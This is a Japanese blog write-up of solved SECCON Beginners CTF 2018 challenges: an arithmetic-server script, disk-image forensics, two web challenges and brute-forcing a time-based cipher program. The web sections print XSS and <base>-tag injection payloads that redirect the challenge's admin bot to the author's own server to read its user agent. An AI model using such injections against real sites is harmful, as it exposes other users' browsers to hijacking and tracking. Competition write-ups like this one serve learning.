banbanの備忘録

あったことを適当に書き残します

SECCON Beginners CTF 2018のwriteup

SECCON Beginners CTF 2018に挑戦しました。 チームGuardPenguinで参加しました。

せっかくなので、writeupというのを書いてみます。
といっても、情報危機管理コンテストに参加していたのでちゃんと問題解き始めたのは土曜日の夕方以降…
夕方までに他のチームメンバに解かれてしまっていました。
というわけで、自分の解いた問題だけでも載せておきます。
(危機管理コンテストについては後日まとめて書きます。)

てけいさんえくすとりーむず

やるだけでした。

import socket
import time

msg_list = []
msg = ''

host = "tekeisan-ekusutoriim.chall.beginners.seccon.jp"
port = 8690
server_address = (host, 6789)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print('Connect Success!!')

for _ in range(1000):
    msg = s.recv(4096).decode()
    msg_list = msg.split('\n')

    for m in msg_list:
        print(m)

    q = "".join(msg_list[-1].split(' ')[:3])
    ans = str(eval(q)) + '\n'
    print('{}'.format(ans),end="")
    s.send(ans.encode())

encode問題でつまりましたが、なんとかSolve。

ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

Find the messages

imgファイルが渡されるのでそれを解析する問題。 まずはfileコマンド。Diskイメージっぽい。マウントできそう。

root@ubuntu:~# file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x0,32,33), end-CHS (0x8,40,32), startsector 2048, 129024 sectors

つづいて、binwalkで中に色々なファイルがみえるので、展開してみた。

root@ubuntu:~# binwalk disk.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184       0x900000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9698491       0x93FCBB        Unix path: /root/img/message2/output
9700352       0x940400        PDF document, version: "1.3"
11535548      0xB004BC        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
17831936      0x1101800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17848320      0x1105800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17868800      0x110A800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17874944      0x110C000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400      0x1900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616      0x2900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832      0x3900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

root@ubuntu:~# binwalk --dd=".*" disk.img

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1048576       0x100000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184       0x900000        Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9698491       0x93FCBB        Unix path: /root/img/message2/output
9700352       0x940400        PDF document, version: "1.3"
11535548      0xB004BC        Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#">
17831936      0x1101800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17848320      0x1105800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17868800      0x110A800       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
17874944      0x110C000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400      0x1900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616      0x2900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832      0x3900000       Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

展開したPDFファイル(展開後は 940400 というファイル名)の拡張子をちゃんとPDFに変えると開けた。 中身は disk_image_for3nsics} FLAGの末尾っぽい。

次に dis.img のマウント

root@ubuntu:~# parted
GNU Parted 3.2
Using /dev/sda
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) u                                                                
Unit?  [compact]? B                                                       
(parted) print                                                            
Model: ATA Ubuntu Linux 16. (scsi)
Disk /dev/sda: 68719476736B
Sector size (logical/physical): 512B/4096B
Partition Table: msdos
Disk Flags: 

Number  Start         End           Size          Type      File system     Flags
 1      1048576B      67645734911B  67644686336B  primary   ext4            boot
 2      67646782464B  68718428159B  1071645696B   extended
 5      67646783488B  68718428159B  1071644672B   logical   linux-swap(v1)

(parted) q 

root@ubuntu:~# mount -t ext4 -o loop,rw,offset=1048576 disk.img ~/img/
root@ubuntu:~# tree img/
img/
├── lost+found
├── message1
│   └── message_1_of_3.txt
├── message2
│   ├── message_2_of_3.png
│   └── output
│       └── audit.txt
└── message3

message_*_of_3 が2つありますね。これで、さっきのPDFが message_3_of_3 だと予想。他2つからフラグが取れないか調査します。
message_1_of_3.txtはそのまま読めました。 ctf4b{y0u_t0uched でした。
message_2_of_3.txtpngっぽいのですが、壊れてて開けません。
どうしようか悩んでいたところ、他のメンバが
「バイナリの先頭ヘッダが書き換えられていたので治した」とのコメントが
開けたファイルには _a_part_0f と書いてありました。
つなげればFLAG ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics} をゲット

Gimme your comment

Webの問題。
新規投稿の本文内でXSSが発火。
XSSを利用して、管理者を別ページへリダイレクトさせることを狙う。
<script>location.href='http://(自分のサーバIP)”; </script> で管理者が自分のサーバにアクセスしてくるので、apacheのログから管理者の user agent を確認できる。

FLAG ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}

Gimme your comment REVENGE

先程の問題では存在した、本文内でのJavascript発火が防がれていた。
でも HTMLタグ系は動くっぽい。

最初は <form ~ のボタンを騙して、リダイレクトを狙っていたが上手く動かず…
(上手く動いている人もいる模様…)

他の方法ということで、上手くいったのが <base> タグを利用する方法。
<base href='http://(自分のサーバIP)' /> とすることで、管理者がページ内のコメント投稿ボタンを押すと
http://(自分のサーバIP)/comment に飛ばされる。
これで、さきほどと同様にuser agentを確認できる

FLAG ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}

Message from the future

これはわずかに時間が足りずに提出できなかった問題。 Message_from_the_future という実行ファイルが渡される。 この実行ファイルで暗号化した文字列も与えられており、これを復号する問題である。

この実行ファイルは、引数に指定した文字列を暗号化しているようだ。

root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# ./Message_from_the_future a
4f
root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# ./Message_from_the_future ab
4f5b

一文字が二文字に置換されている。これは、一定のようだ。
(最初はそう思っていたのだ…)

「じゃあ、総当たりで解けるんじゃん!」 と思って、プログラムを書き、総当たりするが、暗号化された文字列と一致しない…

時間を置いて、いろいろ調べてみるとどうやら時間を使っているらしい。
確かに、Linuxの時間を変えて実行すれば値が変わる。 問題文に「2020年から〜」とある。じゃあ2020年に変えてみよう。月も影響してるっぽいから変えてみよう。
フラグは ctf4b から始まるため、これを実行ファイルに与えたときに与えられた文字列と一致する年月を探す。
2020年の8月が一致した。
あとは、最初やったとおり総当たり。
以下がプログラム
(※date -s '2020/08/01 12:00:00'で時計が1秒程度しか固定できなかったので、ちょっと無理やりなコードになっています(笑))

import subprocess

debug = 0

crypt = b'0f242e412b34212e3d65501c2d7e597f47395c0751675a2b13567d5f3c7b6a1d70540a684d604759'
src = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@$%^_-+={}[]:/.,#&*<>\^_`|~()"?'
print(src)

length = int(len(crypt)/2)
flag=''
tmp_flag =''

commands =['./Message_from_the_future','']
datecommand = ['date','-s','2020/08/08 13:00:00']

for i in range(length):
    if debug == 1: print('[+] next:{}'.format(flag))
    subprocess.call(datecommand)
    print(subprocess.check_output('date'))
    print('------------------------------------------')
    for k in range(len(src)):
        tmp_flag = flag + src[k]
        #commands = './Message_from_the_future'+' '+tmp_flag
        commands[1] = tmp_flag
        if debug == 1: print('[+] now command:{}'.format(commands))
        msg = subprocess.check_output(commands)
        if debug == 1: print('[+] match? [{}][{}]'.format(msg[(i*2):(i*2)+2],crypt[(i*2):(i*2)+2]))
        if msg[(i*2):(i*2)+2] == crypt[(i*2):(i*2)+2]:
            print('[*] match!!')
            print('------------------------------------------')
            print('[*] now flag:{}'.format(tmp_flag))
            flag = tmp_flag
            break
        if src[k] == "?":
            print('------------------------------------------')
            print('[-] missed...')
            flag = tmp_flag
            break
print(flag)

実行結果

root@ubuntu:/CTF/seccon_2018_beginners/message_from_the_future# python decrypt_solver.py 
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@$%^_-+={}[]:/.,#&*<>\^_`|~()"?
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:c
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ct
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ctf
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

〜〜〜(略)〜〜〜〜〜
------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?
Sat Aug  8 13:00:00 JST 2020
Sat Aug  8 13:00:00 JST 2020

------------------------------------------
[*] match!!
------------------------------------------
[*] now flag:ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}

FLAG ctf4b{4r3_y0u_l00k1n6_f0rw4rd_70_2020_?}